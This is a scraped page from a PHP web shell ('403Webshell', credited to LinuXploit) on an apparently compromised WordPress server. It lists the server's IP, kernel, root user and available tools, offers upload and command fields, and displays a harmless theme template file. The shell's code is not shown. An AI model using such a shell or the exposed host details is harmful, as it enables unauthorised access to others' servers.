403Webshell
Server IP : 216.250.13.251  /  Your IP : 216.73.217.37
Web Server : nginx/1.24.0
System : Linux gunay 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/gunay/wp-content/themes/rttheme19/portfolio-contents/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gunay/wp-content/themes/rttheme19/portfolio-contents/single-portfolio.php
<?php
/**
 * 
 * The template for displaying all pages
 *
 */
global $rt_sidebar_location;
get_header(); ?>

	<?php if ( have_posts() ) : ?> 

		<?php /* The loop */ ?>
		<?php while ( have_posts() ) : the_post(); ?>		
			

			<?php  
				/**
				 * get global post values
				 * @var $post
				 * @var array default atts
				 */
				$rt_portfolio_post_values = rt_get_portfolio_single_post_values( $post, array(  "layout" => "1/1",  "featured_image_max_height" => 1000, "featured_image_crop" => false, "show_share_buttons" => true, "featured_media_width" => "fullwidth" ));
			?>
			
			<?php
				/**
				 * Get the portfolio media 
				 * image gallery, video or audio
				 */
				get_template_part( '/portfolio-contents/media'); 
			?>

			<?php			
				// check if builder used in this post 
				$isbuilderactive = has_shortcode( get_the_content(), 'vc_row' ) || has_shortcode( get_the_content(), 'rt_row' ) ;

				/* open content container if builder not used */		
				do_action( "rt_content_container", array( "action"=>"start", "sidebar"=>$rt_global_variables['sidebar_position'], "class" => $rt_global_variables["default_content_row_width"], "echo" => $rt_global_variables['sidebar_position'] == "" && $isbuilderactive ? false : true, "overlap" => false ));

			?>

				<?php the_content(); ?>

				<?php wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . esc_html_x( 'Pages:','Frontend Text','rt_theme' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) ); ?>			

			<?php 
				/* close content container if builder not used */		
				do_action("rt_content_container",array("action"=>"end", "sidebar"=>$rt_global_variables['sidebar_position'], "class" => $rt_global_variables["default_content_row_width"], "echo" => $rt_global_variables['sidebar_position'] == "" && $isbuilderactive ? false : true ));
			?>


			<?php
				/**
				 * Comments
				 */
				if( comments_open() ):
			?>
				
					<?php
						/* open content container for commments if builder is used */		 
						do_action( "rt_content_container", array( "action"=>"start", "sidebar"=>"", "class" => $rt_global_variables["default_content_row_width"], "echo" => $rt_global_variables['sidebar_position'] == "" && $isbuilderactive ? true : true ));
					?>

						<div class='entry commententry'>
							<?php comments_template(); ?>
						</div>

					<?php 
						/* close content container for commments if builder is used */		
						do_action("rt_content_container",array("action"=>"end", "sidebar"=>"", "class" => $rt_global_variables["default_content_row_width"], "echo" => $rt_global_variables['sidebar_position'] == "" && $isbuilderactive ? true : true ));
					?>

			<?php endif;?>

		<?php endwhile; ?>		

	<?php else : ?>
		<?php get_template_part( 'content', 'none' ); ?>
	<?php endif; ?>
 
<?php get_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit